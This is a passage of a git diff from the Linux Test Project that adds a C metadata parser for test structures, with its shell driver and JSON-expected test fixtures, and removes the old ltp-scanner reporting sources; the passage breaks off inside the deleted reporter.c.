+	if (!fscanf(f, "%s[^\n]", name))
+		return;
+
+	if (fgetc(f) == '\n')
+		return;
+
+	macro_get_val(f, val, sizeof(val));
+
+	if (name[0] == '_')
+		return;
+
+	ENTRY e = {
+		.key = strdup(name),
+		.data = strdup(val),
+	};
+
+	if (verbose)
+		fprintf(stderr, " MACRO %s=%s\n", e.key, (char*)e.data);
+
+	hsearch(e, ENTER);
+}
+
+static void parse_include_macros(FILE *f)
+{
+	FILE *inc;
+	const char *token;
+	int hash = 0;
+
+	inc = open_include(f);
+	if (!inc)
+		return;
+
+	while ((token = next_token(inc, NULL))) {
+		if (token[0] == '#') {
+			hash = 1;
+			continue;
+		}
+
+		if (!hash)
+			continue;
+
+		if (!strcmp(token, "define"))
+			parse_macro(inc);
+
+		hash = 0;
+	}
+
+	close_include(inc);
+}
+
+static struct data_node *parse_file(const char *fname)
+{
+	int state = 0, found = 0;
+	const char *token;
+
+	if (access(fname, F_OK)) {
+		fprintf(stderr, "file %s does not exist\n", fname);
+		return NULL;
+	}
+
+	FILE *f = fopen(fname, "r");
+
+	includepath = dirname(strdup(fname));
+
+	struct data_node *res = data_node_hash();
+	struct data_node *doc = data_node_array();
+
+	while ((token = next_token(f, doc))) {
+		if (state < 6 && !strcmp(tokens[state], token)) {
+			state++;
+		} else {
+			if (token[0] == '#') {
+				token = next_token(f, doc);
+				if (token) {
+					if (!strcmp(token, "define"))
+						parse_macro(f);
+
+					if (!strcmp(token, "include"))
+						parse_include_macros(f);
+				}
+			}
+
+			state = 0;
+		}
+
+		if (state < 6)
+			continue;
+
+		found = 1;
+		parse_test_struct(f, doc, res);
+	}
+
+	if (data_node_array_len(doc)) {
+		data_node_hash_add(res, "doc", doc);
+		found = 1;
+	} else {
+		data_node_free(doc);
+	}
+
+	fclose(f);
+
+	if (!found) {
+		data_node_free(res);
+		return NULL;
+	}
+
+	return res;
+}
+
+static struct typemap {
+	const char *id;
+	enum data_type type;
+} tst_test_typemap[] = {
+	{.id = "test_variants", .type = DATA_INT},
+	{}
+};
+
+static void convert_str2int(struct data_node *res, const char *id, const char *str_val)
+{
+	long val;
+	char *endptr;
+
+	errno = 0;
+	val = strtol(str_val, &endptr, 10);
+
+	if (errno || *endptr) {
+		fprintf(stderr,	"Cannot convert %s value %s to int!\n", id, str_val);
+		exit(1);
+	}
+
+	if (verbose)
+		fprintf(stderr, "NORMALIZING %s TO INT %li\n", id, val);
+
+	data_node_hash_del(res, id);
+	data_node_hash_add(res, id, data_node_int(val));
+}
+
+static void check_normalize_types(struct data_node *res)
+{
+	unsigned int i;
+
+	for (i = 0; tst_test_typemap[i].id; i++) {
+		struct data_node *n;
+		struct typemap *typemap = &tst_test_typemap[i];
+
+		n = data_node_hash_get(res, typemap->id);
+		if (!n)
+			continue;
+
+		if (n->type == typemap->type)
+			continue;
+
+		if (n->type == DATA_STRING && typemap->type == DATA_INT) {
+			convert_str2int(res, typemap->id, n->string.val);
+			continue;
+		}
+
+		fprintf(stderr, "Cannot convert %s from %s to %s!\n",
+			typemap->id, data_type_name(n->type),
+			data_type_name(typemap->type));
+		exit(1);
+	}
+}
+
+static const char *filter_out[] = {
+	"bufs",
+	"cleanup",
+	"mntpoint",
+	"setup",
+	"tcnt",
+	"test",
+	"test_all",
+	NULL
+};
+
+static struct implies {
+	const char *flag;
+	const char **implies;
+} implies[] = {
+	{"mount_device", (const char *[]) {"format_device", "needs_device",
+		"needs_tmpdir", NULL}},
+	{"format_device", (const char *[]) {"needs_device", "needs_tmpdir",
+		NULL}},
+	{"all_filesystems", (const char *[]) {"needs_device", "needs_tmpdir",
+		NULL}},
+	{"needs_device", (const char *[]) {"needs_tmpdir", NULL}},
+	{"needs_checkpoints", (const char *[]) {"needs_tmpdir", NULL}},
+	{"resource_files", (const char *[]) {"needs_tmpdir", NULL}},
+	{NULL, (const char *[]) {NULL}}
+};
+
+const char *strip_name(char *path)
+{
+	char *name = basename(path);
+	size_t len = strlen(name);
+
+	if (len > 2 && name[len-1] == 'c' && name[len-2] == '.')
+		name[len-2] = '\0';
+
+	return name;
+}
+
+static void print_help(const char *prgname)
+{
+	printf("usage: %s [-vh] input.c\n\n", prgname);
+	printf("-v sets verbose mode\n");
+	printf("-I add include path\n");
+	printf("-h prints this help\n\n");
+	exit(0);
+}
+
+int main(int argc, char *argv[])
+{
+	unsigned int i, j;
+	struct data_node *res;
+	int opt;
+
+	while ((opt = getopt(argc, argv, "hI:v")) != -1) {
+		switch (opt) {
+		case 'h':
+			print_help(argv[0]);
+		break;
+		case 'I':
+			if (cmdline_includepaths >= INCLUDE_PATH_MAX) {
+				fprintf(stderr, "Too much include paths!");
+				exit(1);
+			}
+
+			cmdline_includepath[cmdline_includepaths++] = optarg;
+		break;
+		case 'v':
+			verbose = 1;
+		break;
+		}
+	}
+
+	if (optind >= argc) {
+		fprintf(stderr, "No input filename.c\n");
+		return 1;
+	}
+
+	if (!hcreate(128)) {
+		fprintf(stderr, "Failed to initialize hash table\n");
+		return 1;
+	}
+
+	res = parse_file(argv[optind]);
+	if (!res)
+		return 0;
+
+	/* Filter out useless data */
+	for (i = 0; filter_out[i]; i++)
+		data_node_hash_del(res, filter_out[i]);
+
+	/* Normalize the result */
+	for (i = 0; implies[i].flag; i++) {
+		if (data_node_hash_get(res, implies[i].flag)) {
+			for (j = 0; implies[i].implies[j]; j++) {
+				if (data_node_hash_get(res, implies[i].implies[j]))
+					fprintf(stderr, "%s: useless tag: %s\n",
+						argv[optind], implies[i].implies[j]);
+			}
+		}
+	}
+
+	/* Normalize types */
+	check_normalize_types(res);
+
+	for (i = 0; implies[i].flag; i++) {
+		if (data_node_hash_get(res, implies[i].flag)) {
+			for (j = 0; implies[i].implies[j]; j++) {
+				if (!data_node_hash_get(res, implies[i].implies[j]))
+					data_node_hash_add(res, implies[i].implies[j],
+							   data_node_string("1"));
+			}
+		}
+	}
+
+	data_node_hash_add(res, "fname", data_node_string(argv[optind]));
+	printf("  \"%s\": ", strip_name(argv[optind]));
+	data_to_json(res, stdout, 2);
+	data_node_free(res);
+
+	return 0;
+}
diff --git a/metadata/parse.sh b/metadata/parse.sh
new file mode 100755
index 0000000..1811665
--- /dev/null
+++ b/metadata/parse.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019 Cyril Hrubis <chrubis@suse.cz>
+# Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
+set -e
+
+top_builddir=$PWD/..
+top_srcdir="$(cd $(dirname $0)/..; pwd)"
+
+cd $top_srcdir
+
+version=$(cat $top_srcdir/VERSION)
+if [ -d .git ]; then
+	version=$(git describe 2>/dev/null) || version=$(cat $top_srcdir/VERSION).GIT-UNKNOWN
+fi
+
+echo '{'
+echo ' "testsuite": {'
+echo '  "name": "Linux Test Project",'
+echo '  "short_name": "LTP",'
+echo '  "url": "https://github.com/linux-test-project/ltp/",'
+echo '  "scm_url_base": "https://github.com/linux-test-project/ltp/tree/master/",'
+echo "  \"version\": \"$version\""
+echo ' },'
+echo ' "defaults": {'
+echo '  "timeout": 300'
+echo ' },'
+echo ' "tests": {'
+
+first=1
+
+for test in `find testcases/ -name '*.c'|sort`; do
+	a=$($top_builddir/metadata/metaparse -Iinclude -Itestcases/kernel/syscalls/utils/ "$test")
+	if [ -n "$a" ]; then
+		if [ -z "$first" ]; then
+			echo ','
+		fi
+		first=
+		cat <<EOF
+$a
+EOF
+	fi
+done
+
+echo
+echo ' }'
+echo '}'
diff --git a/metadata/tests/Makefile b/metadata/tests/Makefile
new file mode 100644
index 0000000..b5c8c46
--- /dev/null
+++ b/metadata/tests/Makefile
@@ -0,0 +1,4 @@
+all:
+
+test:
+	@./test.sh
diff --git a/metadata/tests/array_size01.c b/metadata/tests/array_size01.c
new file mode 100644
index 0000000..5f182bc
--- /dev/null
+++ b/metadata/tests/array_size01.c
@@ -0,0 +1,5 @@
+static int variants[] = {1};
+
+static struct tst_test test = {
+	.test_variants = ARRAY_SIZE(variants),
+};
diff --git a/metadata/tests/array_size01.c.json b/metadata/tests/array_size01.c.json
new file mode 100644
index 0000000..ec364be
--- /dev/null
+++ b/metadata/tests/array_size01.c.json
@@ -0,0 +1,4 @@
+  "array_size01": {
+   "test_variants": 1,
+   "fname": "array_size01.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/array_size02.c b/metadata/tests/array_size02.c
new file mode 100644
index 0000000..ffa37a5
--- /dev/null
+++ b/metadata/tests/array_size02.c
@@ -0,0 +1,9 @@
+struct foo {
+	int val;
+};
+
+static struct foo variants[] = {{1}, {2}, {3}};
+
+static struct tst_test test = {
+	.test_variants = ARRAY_SIZE(variants),
+};
diff --git a/metadata/tests/array_size02.c.json b/metadata/tests/array_size02.c.json
new file mode 100644
index 0000000..1226869
--- /dev/null
+++ b/metadata/tests/array_size02.c.json
@@ -0,0 +1,4 @@
+  "array_size02": {
+   "test_variants": 3,
+   "fname": "array_size02.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/array_size03.c b/metadata/tests/array_size03.c
new file mode 100644
index 0000000..9058db8
--- /dev/null
+++ b/metadata/tests/array_size03.c
@@ -0,0 +1,10 @@
+static struct foo variants[] = {
+#ifdef FOO
+	{.bar = 11},
+#endif
+	{.bar = 10},
+};
+
+static struct tst_test test = {
+	.test_variants = ARRAY_SIZE(variants),
+};
diff --git a/metadata/tests/array_size03.c.json b/metadata/tests/array_size03.c.json
new file mode 100644
index 0000000..bb690c9
--- /dev/null
+++ b/metadata/tests/array_size03.c.json
@@ -0,0 +1,4 @@
+  "array_size03": {
+   "test_variants": 2,
+   "fname": "array_size03.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/array_size04.c b/metadata/tests/array_size04.c
new file mode 100644
index 0000000..5f1d998
--- /dev/null
+++ b/metadata/tests/array_size04.c
@@ -0,0 +1,5 @@
+#include "include.h"
+
+static struct tst_test test = {
+	.test_variants = ARRAY_SIZE(variants),
+};
diff --git a/metadata/tests/array_size04.c.json b/metadata/tests/array_size04.c.json
new file mode 100644
index 0000000..6b8d417
--- /dev/null
+++ b/metadata/tests/array_size04.c.json
@@ -0,0 +1,4 @@
+  "array_size04": {
+   "test_variants": 3,
+   "fname": "array_size04.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/empty_struct.c b/metadata/tests/empty_struct.c
new file mode 100644
index 0000000..e5d9864
--- /dev/null
+++ b/metadata/tests/empty_struct.c
@@ -0,0 +1,2 @@
+static struct tst_test test = {
+};
diff --git a/metadata/tests/empty_struct.c.json b/metadata/tests/empty_struct.c.json
new file mode 100644
index 0000000..9f49f53
--- /dev/null
+++ b/metadata/tests/empty_struct.c.json
@@ -0,0 +1,3 @@
+  "empty_struct": {
+   "fname": "empty_struct.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/expand_flags.c b/metadata/tests/expand_flags.c
new file mode 100644
index 0000000..64f6da6
--- /dev/null
+++ b/metadata/tests/expand_flags.c
@@ -0,0 +1,3 @@
+static struct tst_test test = {
+	.all_filesystems = 1,
+};
diff --git a/metadata/tests/expand_flags.c.json b/metadata/tests/expand_flags.c.json
new file mode 100644
index 0000000..cd79dd2
--- /dev/null
+++ b/metadata/tests/expand_flags.c.json
@@ -0,0 +1,6 @@
+  "expand_flags": {
+   "all_filesystems": "1",
+   "needs_device": "1",
+   "needs_tmpdir": "1",
+   "fname": "expand_flags.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/include.c b/metadata/tests/include.c
new file mode 100644
index 0000000..15377e3
--- /dev/null
+++ b/metadata/tests/include.c
@@ -0,0 +1,5 @@
+# include "include.h"
+
+static struct tst_test test = {
+	.test_variants = TEST_VARIANTS,
+};
diff --git a/metadata/tests/include.c.json b/metadata/tests/include.c.json
new file mode 100644
index 0000000..b7c636e
--- /dev/null
+++ b/metadata/tests/include.c.json
@@ -0,0 +1,4 @@
+  "include": {
+   "test_variants": 10,
+   "fname": "include.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/include.h b/metadata/tests/include.h
new file mode 100644
index 0000000..fbc69a5
--- /dev/null
+++ b/metadata/tests/include.h
@@ -0,0 +1,7 @@
+#define TEST_VARIANTS 10
+
+static struct variants[] = {
+	{.bar = 10},
+	{.bar = 11},
+	{.bar = 12}
+};
diff --git a/metadata/tests/macro.c b/metadata/tests/macro.c
new file mode 100644
index 0000000..296da12
--- /dev/null
+++ b/metadata/tests/macro.c
@@ -0,0 +1,5 @@
+#define TEST_VARIANTS 10
+
+static struct tst_test test = {
+	.test_variants = TEST_VARIANTS,
+};
diff --git a/metadata/tests/macro.c.json b/metadata/tests/macro.c.json
new file mode 100644
index 0000000..c3f53ae
--- /dev/null
+++ b/metadata/tests/macro.c.json
@@ -0,0 +1,4 @@
+  "macro": {
+   "test_variants": 10,
+   "fname": "macro.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/macro_str.c b/metadata/tests/macro_str.c
new file mode 100644
index 0000000..9e5f224
--- /dev/null
+++ b/metadata/tests/macro_str.c
@@ -0,0 +1,5 @@
+#define SYSCALL		"syscall(\"foo\")"
+
+static struct tst_test test = {
+	.syscall = SYSCALL,
+};
diff --git a/metadata/tests/macro_str.c.json b/metadata/tests/macro_str.c.json
new file mode 100644
index 0000000..b162283
--- /dev/null
+++ b/metadata/tests/macro_str.c.json
@@ -0,0 +1,4 @@
+  "macro_str": {
+   "syscall": "syscall(\"foo\")",
+   "fname": "macro_str.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/multiline_macro.c b/metadata/tests/multiline_macro.c
new file mode 100644
index 0000000..2de5811
--- /dev/null
+++ b/metadata/tests/multiline_macro.c
@@ -0,0 +1,6 @@
+#define TEST_VARIANTS \
+	10
+
+static struct tst_test test = {
+	.test_variants = TEST_VARIANTS,
+};
diff --git a/metadata/tests/multiline_macro.c.json b/metadata/tests/multiline_macro.c.json
new file mode 100644
index 0000000..6345162
--- /dev/null
+++ b/metadata/tests/multiline_macro.c.json
@@ -0,0 +1,4 @@
+  "multiline_macro": {
+   "test_variants": 10,
+   "fname": "multiline_macro.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/tags.c b/metadata/tests/tags.c
new file mode 100644
index 0000000..ade3974
--- /dev/null
+++ b/metadata/tests/tags.c
@@ -0,0 +1,7 @@
+static struct tst_test test = {
+	.tags = (const struct tst_tag[]) {
+		{"tag-name-1", "tag-value-1"},
+		{"tag-name-2", "tag-value-2"},
+		{}
+	}
+};
diff --git a/metadata/tests/tags.c.json b/metadata/tests/tags.c.json
new file mode 100644
index 0000000..14cc14f
--- /dev/null
+++ b/metadata/tests/tags.c.json
@@ -0,0 +1,13 @@
+  "tags": {
+   "tags": [
+     [
+      "tag-name-1",
+      "tag-value-1"
+     ],
+     [
+      "tag-name-2",
+      "tag-value-2"
+     ]
+    ],
+   "fname": "tags.c"
+  }
\ No newline at end of file
diff --git a/metadata/tests/test.sh b/metadata/tests/test.sh
new file mode 100755
index 0000000..475d721
--- /dev/null
+++ b/metadata/tests/test.sh
@@ -0,0 +1,18 @@
+#!/bin/sh
+
+fail=0
+
+for i in *.c; do
+	../metaparse $i > tmp.json
+	if ! diff tmp.json $i.json >/dev/null 2>&1; then
+		echo "***"
+		echo "$i output differs!"
+		diff -u tmp.json $i.json
+		echo "***"
+		fail=1
+	fi
+done
+
+rm -f tmp.json
+
+exit $fail
diff --git a/pan/Makefile b/pan/Makefile
index 8cefa99..e8596ec 100644
--- a/pan/Makefile
+++ b/pan/Makefile
@@ -39,18 +39,10 @@
 
 MAKE_TARGETS		:= ltp-bump ltp-pan
 
-ifeq ($(strip $(LEXLIB)),)
-$(warning ltp-scanner will not be built because a working copy of lex was not found)
-else
-MAKE_TARGETS		+= ltp-scanner
-endif
-
 ltp-bump: ltp-bump.o zoolib.o
 
 ltp-pan: ltp-pan.o zoolib.o splitstr.o
 
-ltp-scanner: scan.o ltp-scanner.o reporter.o tag_report.o symbol.o splitstr.o debug.o
-
 # flex does some whacky junk when it generates files on the fly, so let's make
 # sure gcc doesn't get lost...
 vpath %.c $(abs_srcdir):$(abs_builddir)))
diff --git a/pan/debug.c b/pan/debug.c
deleted file mode 100644
index 9027f9b..0000000
--- a/pan/debug.c
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: debug.c,v 1.1 2000/09/21 21:35:06 alaffin Exp $ */
-#include <stdio.h>
-#include <string.h>
-#include "reporter.h"
-
-#ifdef DEBUGGING
-int Debug[MAXDEBUG];		/* Debug level in their areas */
-#endif
-
-/*
- *	set debug areas & levels
- *
- * Syntax:   area[,area]:level[,area[,area]:level]...
- */
-int set_debug(char *optarg)
-{
-#ifdef DEBUGGING
-	/* pointers to the debug area and level in the option's arguments */
-	char *d_area, *d_level;
-	/* debug area and level after converted to integers */
-	int db_area, db_level;
-
-	d_area = optarg;
-
-	while (*d_area) {
-		d_level = strchr(d_area, ':');
-		*d_level++ = '\0';
-		db_level = atoi(d_level);
-		db_area = atoi(d_area);
-
-		if (db_area > MAXDEBUG) {
-			printf("Error - Debug area %s > maximum of %d\n",
-			       d_area, MAXDEBUG);
-			exit(-1);
-		}
-
-		while (d_area != NULL) {
-			db_area = atoi(d_area);
-			printf("Debug area %d set to %d\n", db_area, db_level);
-			Debug[db_area] = db_level;
-			if ((d_area = strchr(d_area, ',')) != NULL)
-				d_area++;
-		}
-		if ((d_area = strchr(d_level, ',')) == NULL)
-			break;
-	}
-#else
-	printf("Debugging is not enabled.  -D has been ignored\n");
-#endif
-
-	return 0;
-}
diff --git a/pan/debug.h b/pan/debug.h
deleted file mode 100644
index fd8182a..0000000
--- a/pan/debug.h
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: debug.h,v 1.1 2000/09/21 21:35:06 alaffin Exp $ */
-#ifndef _DEBUG_H_
-#define _DEBUG_H_
-
-int set_debug( char * );
-
-/*
- * DEBUG support
- *
- * use -DDEBUGGING with cc to enable debugging
- */
-#ifdef DEBUGGING
-
-extern int Debug[];
-#define MAXDEBUG        30
-#define DEBUG(a,l)      if (Debug[a] >= l)
-#define DEBUGO(a,l,c)   if (Debug[a] >= l || c)
-
-#else
-
-#define	DEBUG(a,l)	if (0)
-#define DEBUGO(a,l,c)   if (0)
-
-#endif
-
-#define D_INIT		1
-#define D_SCAN		2
-#define D_SCAN_LEX	3
-#define D_SCAN_CUTS	4
-#define D_REPORT	5
-#define D_REP_H		6
-#define D_REP_CUTS	7
-
-
-#endif
diff --git a/pan/ltp-pan.c b/pan/ltp-pan.c
index 298072f..0bdb514 100644
--- a/pan/ltp-pan.c
+++ b/pan/ltp-pan.c
@@ -263,7 +263,7 @@
 			ret = sscanf(optarg, "%d%c", &run_time, &modifier);
 			if (ret == 0) {
 				fprintf(stderr,
-					"Need proper time input: ####x where"
+					"Need proper time input: ####x where "
 					"x is one of s,m,h,d\n");
 				break;
 			} else if (ret == 1) {
diff --git a/pan/ltp-scanner.c b/pan/ltp-scanner.c
deleted file mode 100644
index afdd757..0000000
--- a/pan/ltp-scanner.c
+++ /dev/null
@@ -1,175 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: ltp-scanner.c,v 1.1 2009/05/19 09:39:11 subrata_modak Exp $ */
-/*
- * An RTS/pan driver output processing program.
- *
- * This program reads an RTS/pan driver output format file, parses it using lex
- * and saves the information into an in-memory hierarchical keyword table.
- *
- * The reporting segment of the program reads that keyword table to produce
- * it's reports.
- *
- * Synopsis:
- * 	ltp-scanner [ -e ] [ -D area:level ] [ -h ]
- *
- * Description:
- *   Scanner is part of the RTS 2.0 reporting mechanism or pan.
- *   It processes RTS/pan driver format output and produces a single simple report
- *   of each test tag executed, the TCIDs it executed, and their testcases.
- *
- * Options:
- *   -e
- *	use an "extended" output format
- *
- *   -D
- *	enable debug statements.  Areas are listed in report2.h and levels
- *	are in the code.  Must be compiled with "-DDEBUGGING"
- *
- *   -h
- *	print out a command usage statement and exit.
- *
- * INPUT
- *   The input must conform to the RTS/pan driver format.
- *
- * Report Format
- *   A single report style is used.  It consists of a header made of all
- *   keywords in the rts_keywords fields of the driver output, and the test
- *   information.
- *	interpretation of CUTS "number of testcases" field when there are
- *	multiple TCIDs.  It must be the sum of all TCIDs' testcases.
- *
- * System Configuration:
- * ARCHITECTURE         IOS_MODEL_E CRAY_YMP YMP7XX
- * CONFIG               JOBCNTL AVL BMD EMA HPM SECURE TFM_UDB_6 SDS SSD
- * RELEASE              82
- * UNAME                sn1703c cool 8.2.0ae d82.25
- * date                 03/24/94
- *
- * tag		tcid		testcase	status		contact
- * ------------------------------------------------------------------------
- *
- *   When a report is made for only a tag, the TCID and Testcase fields
- *   contain a dash ( "-" ).  The intention is that the output be usable
- *   by other Unix programs.
- *
- *   When a report is made for all TCIDs and Testcases, a star ( "*" ) is used.
- *
- *   When in extended mode, an additional output line is produced for each
- *   tag.
- *
- *	This line is identified with a "!" in the TCID and Testcase fields.
- *
- *	It has no minimum and maximum field widths, so the output does not
- *	line up in columns
- *
- *	the "status" field contains the initiation status
- *
- *	the "contact" field does not expand multiple comma-separated contacts
- *
- *	fields:
- *		tag, tcid, testcase, status, contact,
- *		start time, duration, termination type, termination id,
- *		output starting line, output ending line
- *
- * RELATED DOCUMENTS
- *	Regression Test System Phase 2 Test Result Reporting System
- *
- * AUTHOR
- *   Glen Overby wrote the code.
- *
- * Internal Data Format
- *   All data is maintained in a hierarchical key database.  While there are
- *   many available databases, this impliments a simple ASCII comma-separated
- *   keyed database.
- *
- *   Key Naming
- *	- The top-level keys are named after the RTS or pan test tags.
- *	- The top-level key named "_RTS" contains the RTS Keywords
- *	- Each tag has a "_keys" tag that contains the key fields from
- *	  the TEST_START and EXECUTION_STATUS fields.
- */
-
-#include <getopt.h>
-#include <stdarg.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include "scan.h"
-#include "debug.h"
-#include "reporter.h"
-#include "symbol.h"
-
-char *cnf;			/* current filename */
-int extended = 0;		/* -e option        */
-
-int main(int argc, char *argv[])
-{
-	SYM tags;		/* tag data */
-	int c;
-
-	while ((c = getopt(argc, argv, "D:ehi")) != -1) {
-		switch (c) {
-		case 'i':
-			set_iscanner();
-			break;
-		case 'D':
-			set_debug(optarg);
-			break;
-		case 'e':
-			extended++;
-			break;
-		case 'h':
-			fprintf(stderr,
-				"%s [-e] [-i] [ -D area, level ] input-filenames\n",
-				argv[0]);
-			exit(0);
-		default:
-			fprintf(stderr, "invalid argument, %c\n", c);
-			exit(1);
-		}
-	}
-
-	lex_files(&argv[optind]);	/* I hope that argv[argc+1] == NULL */
-	tags = sym_open(0, 0, 0);
-
-	scanner(tags);
-#ifdef DEBUGGING
-	DEBUG(D_INIT, 1)
-	    sym_dump_s(tags, 0);
-#endif
-	reporter(tags);
-
-	exit(0);
-}
diff --git a/pan/reporter.c b/pan/reporter.c
deleted file mode 100644
index b9ec482..0000000
--- a/pan/reporter.c
+++ /dev/null
@@ -1,270 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: reporter.c,v 1.1 2000/09/21 21:35:06 alaffin Exp $ */
-/*
- * This is the report generator half of the scanner program.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <unistd.h>
-#include "reporter.h"
-#include "symbol.h"
-#include "tag_report.h"
-#include "splitstr.h"
-
-/************************************************************************
- *                      Report Generation                               *
- ************************************************************************/
-
-static int scanner_reporter(SYM);
-static int iscanner_reporter(SYM);
-static int scanner_test_end(SYM, SYM, SYM);
-static int iscanner_test_end(SYM, SYM, SYM);
-
-static int (*reporter_func) (SYM) = scanner_reporter;
-static int (*test_end_func) (SYM, SYM, SYM) = scanner_test_end;
-
-/*
- * Do the report generation.
- *
- * A problem: I really need multiple cursors.  I'd rather not look into
- * the depths of the current symbol table implimentation (there are the
- * cursors there that I could use) so that a different (faster!) symbol
- * table can be used in the future.
- *
- * I could get a key (tag), get it's sub-keys (TCIDs), then get the key
- * again to reset to the top level, _then_ get the next key.  That would
- * be very inefficient.
- *
- * The solution I chose is to extract all tags into a list (char array),
- * then go thru that list with the cursor free for other levels to use.
- *
- *  (1) make a list (2d char array) of all Tags
- *  (2) search for the first tag that has a "stime" record, and use that as
- *      the date (MMDDYY) that the tests were run.
- *  (3) print the report header
- *  (4) go thru all tags and report each as described at the beginning of
- *      this file
- */
-static int scanner_reporter(SYM tags)
-{
-	DBT Key, Data;
-	SYM Tag, Keys;
-
-	time_t clock;
-	struct tm *tm;
-
-	/* a list of tags, a count of the number of tags allocated to the list,
-	   and a pointer to go thru the list */
-	char **taglist, **tl;
-	int ntags;
-	int tagcount;		/* how many tags used */
-
-	char key_get[KEYSIZE];
-	char *info;
-
-	/*
-	 * extract tag names from data
-	 */
-	ntags = NTAGS_START;
-	taglist = malloc(sizeof(char *) * ntags);
-	tagcount = 0;
-
-	tl = taglist;
-	sym_seq(tags, &Key, &Data, R_FIRST);
-	do {
-		if (tagcount == ntags) {
-			/* exceeded tag array size -- realloc */
-			ntags += NTAGS_START;
-			taglist =
-			    (char **)realloc(taglist, sizeof(char *) * ntags);
-			tl = taglist + tagcount;
-		}
-
-		*tl++ = Key.data;
-		tagcount++;
-	} while (sym_seq(tags, &Key, &Data, R_NEXT) == 0);
-
-	if (tagcount == ntags) {
-		/* exceeded tag array size -- realloc */
-		ntags += NTAGS_START;
-		taglist = (char **)realloc(taglist, sizeof(char *) * ntags);
-		tl = taglist + tagcount;
-	}
-
-	*tl++ = NULL;
-	ntags = tagcount;
